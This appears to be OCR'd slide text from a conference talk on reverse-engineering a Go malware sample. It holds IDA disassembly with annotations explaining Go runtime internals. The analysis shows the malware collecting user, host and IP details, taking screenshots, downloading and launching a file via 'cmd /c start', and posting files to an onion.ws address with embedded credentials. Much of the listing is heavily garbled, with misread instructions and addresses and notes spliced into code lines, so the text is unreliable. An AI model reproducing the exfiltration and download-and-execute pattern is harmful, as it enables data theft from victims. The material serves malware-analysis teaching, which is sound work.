Address Caller Instruction

Lt 0000000000438A08  runtime_main 3 A Main_main
Aext:00000000006D... main_main jmp  main_main

Address Called function

Lext: 000000000060 7466 | call os UserHomeDir
Lext:0000000000607400] call  path_filepath_join

1ext: 000000000060 74FA| call os_MkdirAll
Lext:0000000000607563 | call  path_filepath_join
1ext:0000000000607598 | call os_OpenFile

Lext: 000000000060 75BE | call main_isLocked
Fext:0000000000607610| call fmt_Fprintln

Lext: 000000000060 7845 | call main_lockRun

1ext: 00000000000 TE4A| call main_getClientDetails
Lext:0000000000607688 | call runtime_newproc
Fext:00000000006076A0] call runtime_newproc

Let: 000000000060 TEEBS | call runtime_makechan
Lext:0000000000607702 | call  runtime_newproc
Lext:0000000000607737 | call main_handleFileUploadURL
Lext:00000000006D7733 | call os__ ptr_file_ close

Lt 000000000060 773D call  runtime_morestack_nochd
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mam'mam( ) call os_UserHomeDir ] The UserHomeDir( ) returns the
:00000000006D7468B mov rax, qword ptr [rsp+0F8h+var F8+8] current user's home directory, which
:00000000006D7470 mowv rex, qword ptr [rsp+0F8h+var F8] s o .
:00000000006D7474 xorps  xmm0, xmm0 it’s % USERPROFILE% on Windows
:00000000006D7477 movups [rsp+0F8h+var 58], xmm0 systems.
:00000000006DT747TF movups [rsp+0FBh+var 48], xmmO
:00000000006D7487 mowv ¢gword ptr []:‘SE-I-II}FBh+1i.ra_r__.'_:rEF]]r rcx
:00000000006DT748F mowv qword ptr [rsp+0F8h+var 58+8], rax
:00000000006D7497 lea rax, aWin32logs ; "win3Zlogs"
:00000000006DT749E mov gword ptr [rsp+0F8h+var 48], rax
:00000000006D7426 mowv ¢gword ptr []:‘51::++II}FBh+1i.ra_1:':eiEF+B]]r 9
:00000000006DT74B2 lea rax, [rsp+0F8h+var 58]
:00000000006D7TABA mowv gqword ptr [rsp+0F8ht+var F8], rax q q 00
:00000000006DTABE mov quword ptr [rsp+0F8h+var F8+8], 2 This function joins path elements
:00000000006D74C7 mov qword ptr [rsp+0F8h+var ES8],[2 into a single path, so on
:00000000006D74D0 |call path filepath join : Windows it returns a UNC path,
:00000000006DTADE mowv rax, gqword ptr [rsp+0F8h+var EB+8]
:00000000006D74DA mowv [rsp+0FB8h+var A0], rax N
:00000000006D74DF mowv rcx, qword ptr [rsp+0F8h+var ES8+10h]
:00000000006DT4E4 mow [rsp+0F8h+var BO], rex
:00000000006DTAES mowv gquword ptr [rsp+0F8h+var F8], rax
:00000000006DT4ED mowv ¢gword ptr []:‘51::++II}FBh+1i.ra_r:]§‘EHB]]r TrCX
:00000000006D74F2 mowv dword ptr [rsp+0F8h+var EB], 1FFh . .
:00000000006D74FA [call oS MkdirAll | — MkdirAll() creates a directory
- 00000000006D7AFF Xorps  xmm0, smm0 named path and all necessary
:00000000006D7502 movups [rsp+0F8h+var 78], xmm0 parents (similar to mkdir -p <dir>
:00000000006D750A movups [rsp+0F8h+var 68], xmm0 onljnux/Unbd
:00000000006D7512 L Leaty rax, [rsp+0F8h+var AO]
:00000000006D7T517 mowv gqword ptr [rsp+0F8h+var 78], rax
:00000000006D751F mowv rax, [rsp+0F8h+var BO] N
:00000000006D7524 mowv qword ptr [rsp+0F8h+var 78+8], rax
:00000000006D752C lea rax, aLocklozLrmLshM ; "lockloz;lrm;lsh;macrmainmap;"
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= A quite common approach for strings is creating a structure similar to:

string struct
content

string size

string struct

= After creating the structure, rename its fields.

* Change the “string_content” type to char* by
using “y” hotkey.

= Afterwards, we can eventually apply it on through ALT-Q hotkey and T hotkey to a
structure offset.

= Although our presentation is focused on static analysis, all renamed functions could be
transfered to x64dbg by using any of the following plugins:

= Labeless: https://github.com/alext/labeless
= x64dbgida: https://github.com/x64dbg/x64dbgida
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. text:00000000006D7632 loc 6DT7632: ; CODE XREF: main main+139

.text:00000000006D7632 rax, [rsp+0F8h+var 920]

gqword ptr [rsp+DFBH4va;_EB], rax

rax, [rsp+0F8h+var AB]

gqword ptr [rsp+DFBH4va;_EB+B], rax

maliln lockRun

maiﬁ:ﬁetclientDetails

xmm0, [rsp+O0F8h+var F&]

[rsp+0F8h+var 38], xmm0

xmm0 , xmmword ptr [rsptOFS8h+var E&]

[rsp+0F8h+var 28], xmmO N

.text:00000000006D7668 xmm0, xmmword ptr [rsp+0FB8h+var E8+10h]

.text:00000000006D766D [rsp+0FB8h+var 18], xmm0 N
e dword ptr [rsp+0F8h+var F8], 0

= Channels are a data type which provides a rax, off T794B00 o

mechanism that make possible goroutines to gquword pt; [rsp+0F8h+var F8+8], rax
synchronize their execution and communication runtime newproc o
(moving data) with another concurrent goroutine dword ptr [rsp+0F8h+var F8], 0
(roughly similar to pipes). rax, off 794B0S8 B
cuword pE; [rsp+0FB8h+var F8+8], rax
func makechan(t *chantype, size int) *hchan {...} runtime newproc B
. text 000000000060 62 rax, asc 700Ce0 ; "\b"
.text:00000000006D6AC gquword pﬁE [rsp+0FB8h+var F8], rax
.text:00000000006D(6BO cgquword ptr []:‘51::~+IZ}FBh+*i.ana_r_']:"8+8]‘r 3EB8h
.text:00000000006D%0BS runtime makechan B
.text:00000000006D76BE rax, qword ptr [rsp+0FS8h+var ES8]
.text:00000000006D76C3 [rsp+0F8h+var 98], rax B

main.main()

= Goroutines are methods created when prefixing a
function call with “go” word (go
reverse.Engineering( )), which consume little stack
space and allocate heap space according to
necessity, executing concurrently with other
goroutines within the same address space.

» func newproc(siz int32, fn *funcval){...}
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:00000000006D61E0O maiu_lockﬂun

:00000000006D61EB0
:00000000006D61EO
:00000000006D61B0O
:00000000006D61EB0
:00000000006D61EO
:00000000006D61B0O
:00000000006D61EB0
:00000000006D61EO
:00000000006D61B0O
:00000000006D61EB0
:00000000006D61RO
:00000000006D61B0O
:00000000006D61EB0
:00000000006D61RO
:00000000006D61B0O
:00000000006D61EB0
:00000000006D61ES
:00000000006D61CO
:00000000006D61C5
:00000000006D61CH
:00000000006D61CF
:00000000006D61D6
:00000000006D61DE
:00000000006D61EG
:00000000006D61ERB
:00000000006D61EF
:00000000006D61F4
:00000000006D61FD

Pproc near

main main+215,p

xmmword ptr -90h
gqword ptr -80h
xymmword ptr -78h
gqword ptr -68h
xmmword ptr -5Ch
byte ptr -4Ch
xmmword ptr -2Ch
byte ptr -10h
gqword ptr -8

gqword
gword

MoV
MoV
lea
cmp
jbe
sub

ptr 8
ptr 10h

rcx, gs:28h

rex, [rex+0]

rax, [rsp+var 10]
rax, [rcx+10h]

loc &6D62A0

rsﬁ? 90h
[rsp+30h+var 8], rbp

CODE XREF: main lockRun+F5 | j

main.lockRun( )

rbp, [rsp+90h+var 8]

giihub_gam_gocgle_puid_ﬂew

XmmU, L[CsptoUhtvar 90]
[rsp+90h+var 5C], xmm0

qword ptr [rEF+9Dh+va;_EG], 0
xmm0 , xxmmO

Reference to the uuid package ,that
generates and inspects UUIDs
(https://github.com/google/uuid)
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:00000000006D6G4AFO aerED

:00000000006D64F0
:00000000006D64F0
:00000000006D6G4AFD
:00000000006D6500
:00000000006D6504
:00000000006D650A
:00000000006D650E
:00000000006D6513
:00000000006D65E1E
:00000000006D651E
:00000000006D6520
:00000000006D6528
:00000000006D6530
:00000000006D6535
:00000000006D6539
:00000000006D6E3E
:00000000006D653F
:00000000006D6544
:00000000006D65HA4D
:00000000006D65H4E
:00000000006D6552
:00000000006D6ELET
:00000000006D65EEC
:00000000006D6561
:00000000006D66GE
:00000000006D6568E
:00000000006D656D
:00000000006D65ET2
:00000000006D6BETT
:00000000006D657TC

= xmmword ptr 28h

Mo
Mo
cmp
jbe
sub
Mo
lea
XOTps
movups
movups

call

rcx, gs:28h
rex, [rex+0]
rsp, [rcx+10h]
loc 6D65DA
rsp, 10h
[rsp+T70h+var 8], rbp
rbp, [rsp+70h+var 8]
xmm0 , zxmm0
[rsp+T70h+arg 0], xmmO
[rsp+70h+arg 10], xmmO
+ + 201, xxmm0
05 user Current

mowr
oW

Tax, [IspF/onfvar 70]
[rsp+70h+var 48], rax

o

IEall

main.getClientDetails( )

o5 hostname

e aty
e aty
e aty
TS

Tax, [TspF¥/Uh+var 68]
[Tsp+70h+var 50], rax
rex, [rsp+?UH4va;_?D]
[r51:1»+7"IZ}I'L+"L:'E;.J:__4IZ}]Jr X

call

main getIP

Functions getting information
about current user, hostname and
IP address.

TTIR AT
mow
XOTrps
movips
movuips
movips
mow
mowv

Tax, (rspriUh+var 68]
rcx, [rsp+70h+var 70]
xmm0 , zxmm0
[rsp+70h+var 38], xmm0
[rsp+70h+var 28], xmmO
[rsp+70h+var 18], xmmO
rdx, [rsp+70h+var 48]
rbx, [rdx+28h]
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FD4d loc 6DAFD4: ; CODE ¥REF: os user Current+73:7
os.user.Current() F=OuE—" rax, aP 6 R - =

:00000000006D4AFDB [rsp+28h+var 28], rax =  Typedmemmove, from runtime package,
:00000000006D4FDF [rsp+28h+var 20], rdi copies a value of a specific type from a source
to a destination. It’s similar to memcpy( )
from C language.

:00000000006D4FE4 [rsp+28h+var 18], rsi
:00000000006DAFES runtime typedmemmove
:00000000006D4AFEE JT short loc 6DA4FBES
:00000000006D4AFFO

:00000000006D4AFFO

:00000000006D4AFF0 loc 6DAFFO: ; CODE XREF: os user Current+47:j
:00000000006D4FFO [rsp+28h+arg 0], O

:00000000006DAFF9 qword ptr [rsp+28h+arg 8], rcx

:00000000006DAFFE qword ptr []:‘5]:_:++2EFh_+.E;_J::;1r_EF+8]]r rax
:00000000006D5003 rbp, [rsp+28h+var 8]

:00000000006D5008 rsp, 28h N

:00000000006D500C

:00000000006D500D

:00000000006D500D

:00000000006D500D loc 6D500D: ; F : os user Current+30:7j

:00000000006D500D rax, dword Al7A60 Package “sync” contains a structure named and object

:00000000006D5014 [rsp+28h+ﬁ£ﬁ_28], rax ‘“« o . .
- 0000 00000065018 rax, off 794DF0 (and structure) named “Once” and it holds a field (m),

. 00000000006D501F [csp+28h+var 20], rax whose type is Mutex. The doSlow(f func()) function
-00000000006D5024 sync ptr Once doSlow uses Lock( ) on m and guarantee that when it returns,
:00000000006D5029 T Toc 6DAF66 has has finished. In few words, doSlow establishes
:00000000006D502E ; synchronization.

:00000000006D502E
:00000000006D502E loc 6DLOZE: ; CODE ¥REF: os user Current+14:j
:00000000006D502E - runtime morestack noctxt a B
:00000000006D5033 Jmp os user cCurrent |

:00000000006D5033 os user Current endp — —
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5901 call syscall OpenCurrentProcessToken
os.user.Current( ) V5906 mov rax, [rsp+0DOh+var DO] Opens the access token associated to

:00000000006DED0A mow rcx, [rsp+0DOh+var CO] the current process.
:00000000006DES0F mow rdx, [rsp+0DOh+var C8]
:00000000006D5914 test rdx, rdx ] ] .
. 00000000006D5917 inz loc 6DEDOC getinfo( ) retrieves information from
:00000000006D591D mov [rsp+0D0Oh+var 58], an access token:
:00000000006D5922 lea rox, off T952F0
:00000000006D5929 mow [Esp+0D DH+U-ELI‘_1 o], func (t Token) getinfo(class
:00000000006D5931 mowr [rsp+0D0Oh+var 40], rax uint32, initSize int).
:00000000006D5939 mow [rsp+0D0Oh+var 61], 1
:00000000006D593E mow [Tsp+0D0h+var DO], rax .
:00000000006D5942 mowv dword ptr [rsﬁ#DDDh+var c8], Implemented by using
:00000000006D594A mov [rsp+0D0Oh+var CO1, 32h ; '2° GetTokeninformation( ).
:00000000006D5953 call syscall Token getInfo [
:00000000006D5958 oV Lax,  (rsprottirrvar 26 GetToken|nformation(t Token,
:00000000006DE9ED mow rcx, [rsp+0DOh+var AS8] infoClass uint32, info *byte,
:00000000006D5962 mowv rdx, [rsp+0D0Oh+var BO] infolen uint32. returnedLen
:00000000006D5967 test rdx, rdx s ’ _
:00000000006D596A jz loc 6D5D03 uint32) (err error) =

- 00000000006D5970 xOT eax, eax advapi32.GetTokenIinformation
:00000000006D5972
:00000000006D5972 loc 6DEST2: ; CODE ¥REF: os user current+467 7]
:00000000006D5972 o rdx, rdx o o
:00000000006D5975 loc &DLCC1

:00000000006D597B [Tsp+0D0h+var 30], rax

:00000000006D5983 rax, [rsp+DDDE4va;_58]

:00000000006D5988 [rsp+0D0Oh+var DO], rax

:00000000006D598C dword ptr [rsp+0D0Oh+var C8], 5

:00000000006D5994 [rsp+0D0Oh+var CO], 32h ; '2°¢

:00000000006D599D syscall Token getInfo
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os.user.Current( ) = mov rax, [rsp+0D0h+var 28] String, from syscall package, converts
00000000006D5A13 mowv rax, [rax] sid to a string formats using
00000000006D5A1 6 Mo frsptOD0hivar DO —rax ConvertSidToStringSid( ) function.
00000000006D5AR1A lfall syscall  ptr SID String
00000000006DEALF mow rax, [LsproDUn¥var BU]J This function retrieves the path to
00000000006D5A24 mow rcx, [rsp+0DOh+var B8] the root directory of the user’s
Q0000000006DEAZ9 mosr rdx, [r5p+DDDh+va:_CD]
00000000006D5A2E mowv rbx, [rsp+0D0h+var C8]
00000000006D5A33 test rcx, rex - token.
00000000006D5A36 jnz loc 6D5BF2
00000000006D5A3C mov [rsp+0D0Oh+var 50], rdx GetUserProfileDirectory(t Token, dir
00000000006D5A44 mow [rsp+0D0h+var 20], rbx *uintl16, dirLen *u|nt32) (err error) =
00000000006D5RAC mowv rax, [rsp+0D0Oh+var 58] userenv.GetUserProfileDirectoryW
00000000006D5AR] mow [rsp+0D0h+var DO], rax
00000000006D5AEE call syscall Token GetUserProfileDirectory i}
00000000006D5A5A o rax—frsp+oEtrtrar—26d
00000000006D5AGF mow rcx, [rsp+0DOh+var CO]
Q0000000006D5EAGRA Mo rdx, [r5p+DDDh+va:_C8]
00000000006D5R69 mowv rbx, [rsp+0D0Oh+var B8]
00000000006D5A6E test rbx, rbx
00000000006D5AT1 jnz loc 6DSBEO
00000000006D5ATT mow [r§E+DDDh+var 48], rex
00000000006DEATF mov [Esp+0D Dh+var:1 8], rdx Retrieves the username and domain
00000000006D5AR8B7 mowv rax, [rsp+0D0Oh+var 30]
00000000006DEABF Mo rax, [rax] -
OO000000006DEASD T HAT f'r‘::p+ﬁ'ﬁﬁh+v;1 r 01l — o
00000000006D5A%96 call 0s_use:_lGﬂkuﬁﬂsernameﬂndDomain
00000000006D5ASE mov FaxX, [IspfoponFvar AU]
Q0000000006D5EAAD Mo rcx, [r5p+DDDh+va:_BD]
00000000006D5AAS5 mov rdx, [rsp+0D0Oh+var B8]

profile determined by the given

for the given SID.

a
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DO740
os.hostname( ) TSIt

:00000000004D0OT4B
:00000000004D0OT4F
:00000000004D0754
:00000000004D0O75E8
:00000000004D0OTED
:00000000004D07T62
:00000000004D0767
:00000000004D07T 6B
:00000000004D0O7T6E
:00000000004D0O7T74
:00000000004D0OTT9
:00000000004D0OTFTD
:00000000004D0784
:00000000004D0OTEBY9
:00000000004D0OTEE
:00000000004D0O7T93
:00000000004D0O7T98
:00000000004D0O7T 9D
:00000000004D0O7TA2
:00000000004D0OTAS
:00000000004D0OTAB
:00000000004D0OTEO
:00000000004D0OTRBS
:00000000004D0OTEE
:00000000004D0OTC2
:00000000004D0OTCH
:00000000004D0O7TCC
:00000000004D0O7TD3
:00000000004D0OTD9
:00000000004D0OTDD

lcq_dDDTdD:

lea
oW
Mo
oW
O
TNOW,

; CODE XREF:
rax, unk 702CA0D
[Tsp+50h+var 50], rax
ecx, [rsp+5§ﬂ4va:_28]
[csp+50h+var 48], rcx
ecx, [rsp+50h+var 28]

call

[rsp+50h+var 40], rcx

os hostname+Dl | j

runtime makeslice |<

O
O
test
Jbe
oW
O
oW
Mo
lea
O

rax, [pr+5Dh+va;_38]
ecx, [rsp+50h+var 28]
rox, rcx

loc 4D0OS9S2D
[rsp+50h+var 10], rax
[csp+50h+var 24], ecx

dword ptr [rsp+50h+var 50], 5

[rsp+50h+var 48], rax
rcx, [rsp+50h+var 28]
[Tsp+50h+var 40], rcox

func makeslice(et *_type, len, cap
int) unsafe.Pointer {...}

A slice is a kind of dynamically-size
array (therefore, it doesn’t have a
fixed length) and its typical notation
is [ ]T, where T specifies the type of
the element.

call

mowv
test
Jjz
mow
mowv
Jjz
lea
cmp
in=z
cmp
jnz
mow
cmp

internal syscall windows GetComputerNameEx

mMow_ Tax, LIsproontvarn So)

rcx, [r5p+5Dh+var:38]
TrCX, TCX

loc 4D0OSDD
[rsp+50h+var 18],
[csp+50h+var 20],
loc 4D0862

rdx, asc T2%160
[rcx+8],_fdx

loc 4D0862

quword ptr [rax], 0EALh
loc AD0OBGK2

ebx, [rsp+50h+var 24]

[r5p+5Dh+var_28],_ébx

Retrieves a NetBIOS or DNS name
associated with the local computer.

GetComputerNameEx(nameformat
uint32, buf *uint16, n *uint32) (err
error) = GetComputerNameExW
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ErEEEEEEEERERE

'tside usable address spacebytes.Buffer.Grow: negative countconcur'
'rent map read and map writeconnection not allowed by rulesetcrypt’
'ofaes: output not full blockcrypto/des: output not full blockcryp'
'to: recuested hash function #ed25519: bad private key length: fin'
'drunnable: negative mmspinningfreeing stack not in a stack spanhe’
'apBitsSetType: unexpected shifthttp2: invalid header field wvalueh'
'ttp2: invalid pseudo headers: %vhttp2: recursive push not allowed'
'hitp: CloseTdleConnections calledhttp: invalid Read on closed Bod!
‘yhttps: //api.ipify.org?format=texflindefinite length found (not DE'
R TS e T A passwora verstonleafCounts [maxBits] [maxBits] 1!
'= nmin must be a non-zero power of Zmisrounded allocation in sysA'
'llocnet/http: skip alternate protocolpad size larger than data pa'
'viloadpseudo header field after regularreflect.nameFrom: name too !
'long: reflect: Field index out of rangereflect: NumOut of non-fun'

main getIP proc near

Finding strings in previous versions of Golang is not so easy (they are
grouped), unfortunately. However, it’s only a matter of time... © To
determine where string ends, | used the following lines (not shown):

" mov
" mov

[rsp+60h+var_58], rax
[rsp+60h+var_50], 21h ;'

var 60= gword ptr -60h
var 58= gword ptr -58h
var 50= gqword ptr -50h
vaﬁ:48= gword ptr -48h
var 40= gword ptr -40h
var 38= gword ptr -38h
var 30= gword ptr -30h
var 28= qgword ptr -28h
var 19= byte ptr -15h
var 18= xmmword ptr -18h
var 8= qword ptr -8
arg 0= xmmword ptr 8
mow rox, gs:28h
mosr rox, [roex+0]
Laidiis] rsp, [rex+10h]
jbe

lcq_ﬁDEdDB

il e 5=

sub rsp, 60h

mow [rsp+e0h+var 8], rbp
lea rbp, [rsp+6dﬁ+var 8]
HOTrpSs xmmO , xmm0 a
moviups [rsp+e0h+var 18], zxmmO
mowv [rsp+60h+var_19]Jr ]
XOTPS xmm , zmm0 -

movups [rsp+60h+arg 0], om0
nop -

mowv rax, cs:off AQAZOSB

mowv [rsp+60h+vé£_60], rax
lea rax, aTlsDialwithdia+1lB97h "hittps://api.ipify.ocrg?format=textindefiv..

] i =

loc 6D64ADE:

call runtime morestack noctxt
Jmp main géEIP o

main getIP éﬁdp

R A
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1 GO MALWARE

106D6&3AE

net http ptr Client Get

:00000000006D63ED
:00000000006D6B3C2
:00000000006D63CH
:00000000006D63CT
:00000000006D63CD
:00000000006D63D1
:00000000006D63D4
:00000000006D63D9
:00000000006D63D9
:00000000006D63D9
:00000000006D63D9
:00000000006D6&3DD
:00000000006D63DF
:00000000006D63E3
:00000000006D63ET
:00000000006D63EC
:00000000006D63F1
:00000000006D63F6
:00000000006D63FA
:00000000006D63FE
:00000000006D6405
:00000000006D6409
:00000000006D640E
:00000000006D6413
:00000000006D6418
:00000000006D641D
:00000000006D6422
:00000000006D6426
:00000000006D642B
:00000000006D6434

lcq_EDESDB:

maln.getIP() )06D63B3 Tax, [LspfbUh+var 49]

rox, [rspteOh+var 38]

rdx, [rsp+60h+vaﬁ:

rdx, rdx
short loc-ebBe389

40]

loc 6D6AEBD
rai? [xdx+8]
rdx, rax
loc 6D64BD

rcx, [rax+40h]
[Tex], al
rcx, 18h
rdx, [rax+48h]

gword ptr [rsp+60h+var 18

CODE XEBEF:

We should remember that http package provides us
an useful implementation of HTTP client and server.

As client, there’s a Get( ) and Post( ) implementation:

func Get(url string) (resp *Response, err error) {
return DefaultClient.Get(url)

main getIP+75+:]

Interface’s type in Go is similar, under some
aspects, to any other language and defines

quword ptr [rsp+60h+var 18

[rsp+60h+var 19],
rcex, [rax+48h]
rax, [rax+40h]
rdx, unk T1EEZ20
[rsp+60h+var 60],
[rsp+e0h+var 58],
[rspetoQhivor B0

1

runtime convI?2T [¢

rax, [rsp+60h+var
rcx, [rsp+60h+var
[rsp+60h+var 60],
[rsp+60h+var 58],
[Esp+60h+var 507,

iq_iﬂutil_readﬁll

Therefore, other data type that holds
methods with same signatures are regarded
as being of the same type of this interface.

some methods that need to be implemented.

= func ReadAll(r io.Reader) ([]byte, error)

=  This function reads from r until an EOF or error.
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mowv rcx, [rsp+0CBh+var BO]
main. handIePchlspIay() mov [rspt0C8hivar 901, rox
lea rdx, aTlsDialwithdia+1381h ; "https://1i.imgur.com/zkET7Ge7 . jped]
:DDDDDDDDDDED?BEE mowv qword ptr [rsp+0C8B8h+var CB8], rdx
:00000000006D7TEB62 mowv gword ptr [rsp+0CBh+var C8+8], 20h
:00000000006D7B6B mowv [rsp+0C8h+var B8], rcx o =  We have few clear facts here:
:00000000006D7BT0 mMOTT [rsp+0CBhtwvar RBO] rax
:00000000006D7TBTE call maiu_downloadfile
:00000000006D7TBTA XOTrps ¥xmm0 , xxmm0 . L.
:00000000006D7B7D movups [rsp+0C8h+var 38], xmm0 downloadFile( ) is implemented by
:00000000006D7B85 movups [rsp+0C8h+var 28], xmm0 using net.http.Get( ) function:
:00000000006D7TEBD movups [rsp+0CBh+var 1 B] sl func Get(url string) (resp *Response,
:00000000006D7TBSE lea rax, ac 0 "o err error).
:00000000006D7TBOC mowv qwcrd ptr [rsp+DCBh+var 381, rax A 0 .
:00000000006DTRA4 mov quord ptr [rsp+0CRhivar 35+8], 2 Get() is implemented by using “func
:00000000006D7BBO lea rax, aStart "start" NewRequestWithContext(ctx
:00000000006D7TBE7 I qwc:rd ptr [rsp+DCBh+var 28], rax context.Context, method, url string,
:00000000006D7BCB r rcx, [rsp+0C8h+var 90]
:00000000006D7BDO I qword ptr [rsp+DCSH4va;_18], rox
:00000000006D7BDS T rdx, [rsp+0C8h+var 98]

A file is downloaded from Internet.

According to shown strings, the
downloaded file is being launched by
:00000000006D7BDD T qwc:rd ptr [r5p+DC hivar 18+8], rdx using “cmd /c start <downloaded
:00000000006DTBES rbx, aCmd "omd! file>

:00000000006D7TRBEC T qwcrd ptr [rsp+DCBh+var c8], rbx The Command function -- func
:00000000006D7TBFO I qword ptr [rsp+0CBh+var Cc8+8], 3

-00000000006D7BF9 rsi, [rsp+0C8h+var 38] Command(name string, arg ...string)

-00000000006D7C01 y [rsp+0C8h+var B8], rsi *Cmd -- returns a Cmd struct to
-00000000006D7C06 : [rsp+0C8h+var BO], 3 execute the target program with

:00000000006D7COF T arguments using os.exec.Cmd.Run( ).
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1 GO MALWARE
‘main.handleFileUploadURL()

.text:00000000006D7091 rsi, aUsernameuwangl |; "usernameuwangle ;vzigzag;"
.text:00000000006D7098 [rsp+140h+var 130], rsi

.text:00000000006D705D [rspt+140h+var 128], 8

.text:00000000006D70A6 runtime_mapaégigq_faststr

= Post files (json files) to website (https://gi74gcmwmxog4xun.onion.ws/fujson) using credentials (username:
uwangle and, maybe, password: vzigzag)

000pO006D 7268 mowv rax, cs:off AO0A208
000p0j006DT26F MoV [rsp+140h+var 1401, rax
lea rax, aX509UnhandledC+0A7Fh ; ps: giT74dqgemwmxogdxun.onion.ws/fujso!
Mo [TspFIa0nFvar_rso], rax
—Re e R e
lea rcx, aGodebugValueGd+4F0h ; "application/jsonapplication/wasmbad SAD
00000006D728F mowv [rsp+1d0h+var 128], rex
00000006D7254 mowv [rsp+140h+var 120], 10h
00000006D725D lea rdx, off TEC320
00000006D72R4 [rsp+14ﬁﬁ+var 118], rdx
00000006DT7209 [rspi1A0htws r 110] rdi
888800651 2AF net http | ptr Cllent Fost
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func Post(url, contentType string, body io.Reader) (resp *Response, err error) {
return DefaultClient.Post(url, contentType, body)



https://gi74qcmwmxoq4xun.onion.ws/fujson

1 GO MALWARE

. 6D6683;
main.handleScreenshot()
0000000000606 GEEE
:00000000006D6690
0000000000606 6ESE

[rsp+0ABh+var 68],

CODE XEEF:

rdx
0]

main handleScreenshot+50:]

[Espt0ABh+war AHR]

github com kbzhani_ﬁcreenshct_GetDisplayBﬂunds

i k] i

e |

L.
Ll LL =T WAIAIL T L

pv i |

:00000000006D669A rex, [rsp+0A8h+var 98]
:00000000006D669F rdx, [rsp+0A8h+var A0]
:00000000006D66A4 rbx, [rsp+0A8h+var 88]

= Using an external Go library to capture desktop

:00000000006D66AD
:00000000006D66AD
:00000000006D66B2
:00000000006D66B7
:00000000006D66BC
:00000000006D66C1
:00000000006D66CH
:00000000006D66GCE
:00000000006D66D0
:00000000006D66D3
:00000000006D66D9
:00000000006D66DE
:00000000006D66E3
:00000000006D66ET
:00000000006D66EC
:00000000006D66F1
:00000000006D66F4
:00000000006D66F9
:00000000006D6700
:00000000006D6705
:00000000006D67T0A
:00000000006D6711
:00000000006D6715

[rsp+0ABh+var AB],
[rsp+0A8h+var AO],

[rsp+0ABh+var 98],
[T‘sr\+ﬂhﬁh+1r:r S0] -

rdx
rox

rax
Rad et

screen: https://github.com/kbinani/screenshot

githuh_pom_kbihani_screenshct_paptureRect

W |

J_EL.H..!
rox,
rdx,

[J_ ST Bt S oo
[rsp+0ABh+var 78]
[rsp+0ABh+var 80]
rdx

rdx,
lﬂq_EDESEE
[rsp+DI—LBh+var__5D]Jr

rax, [rsp+0A8h+var

[rsp+0ABh+var AB],
runtime convT64
rax, [rsp+0A8h+var
xmm0 , xmm0
[rsp+0ABh+var 48],
rcx, asc J0Z21E0

gword pr [rsp+0ABh+var 48],

rax
68]
rax

- AO]

HxmmO

"\b"

Ircx

gqword ptr [r5p+DﬂBh+var 48+8],

rax, aDPng

[rsp+DﬂBh+var L-"-LB]Jr
[rsp+0ABh+wvar AO0],

"Ed.png"
Lax
6

rax
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J FINAL THOUGHTS

Reversing Go code is not hard, but certainly takes time as any other language.

It’s advisable to learn Golang programming and its respective concepts. In
addition, investigating the Go source code is always interesting.

During the analysis, it’s recommended to focus on key functions and not trying to
follow the intensive stack’s manipulation.

Go language has been constantly improved and all changes will be reflected on
the final assembly code.

No doubts, a good tool as IDA Pro/Home can save your time during the analysis.

Keep reversing ©
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[new update] instruction r
-> Updating expression
[nev update] instructior
+> updating expression
[new update] instruction
-> updating expression
[new update] instruction
-> updating expression

DEF CON CHINA 1.0 (2019)

gain frol uxmunl t

" instruction 1

> updating expression olll:e‘:’k
nstruction ofp aaa

> updating expression onc'“

aATRCX+T0h

0 eax+0bgn
ax+0b9h to eaxsgfon

& AN to ears1igy :
ax*l‘“ to eax+ecx+14gh E
\ i
) m(
5 y X+10eh
‘ ¢
‘ =2

- eaxsecxs@b9h 1

ecx+0boh to eax-ebx+ecx+0boh
@-ebxncxub» to eax+ecx

Gamenwer © .
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